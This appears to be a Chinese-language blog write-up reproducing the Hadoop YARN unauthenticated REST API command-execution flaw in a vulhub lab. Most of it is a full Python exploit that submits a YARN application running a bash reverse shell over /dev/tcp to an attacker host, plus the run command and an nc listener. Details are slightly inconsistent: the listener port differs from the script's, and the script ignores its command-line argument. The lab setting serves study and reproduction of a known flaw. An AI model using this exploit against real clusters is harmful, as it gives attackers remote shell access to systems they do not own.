1. 程式人生 > 其它 >漏洞復現-hadoop-命令執行

漏洞復現-hadoop-命令執行

0x00 實驗環境

攻擊機:Win 10

靶機也可作為攻擊機:Ubuntu18 (docker搭建的vulhub靶場)

0x01 影響版本

hadoop 3.3.0以下

vulhub版本為2.8.1:

0x02 漏洞復現

(1)訪問/cluster/apps頁面:(該頁面存在說明存在未授權訪問漏洞)

(2)使用以下官方exp反彈shell

#!/usr/bin/env python

import requests

target = 'http://127.0.0.1:8088/'
lhost = '192.168.0.1' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application' resp = requests.post(url) app_id = resp.json()['application-id'] url = target + 'ws/v1/cluster/apps' data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1
' % lhost, }, }, 'application-type': 'YARN', } requests.post(url, json=data)

執行該exp:

python3 unauthorized-yarn-hadoop.py http://xxx:8088 #執行Exp

(3)攻擊機開啟監聽(執行exp之前開啟監聽):

nc -lvvp 9812

(4)會話獲取成功: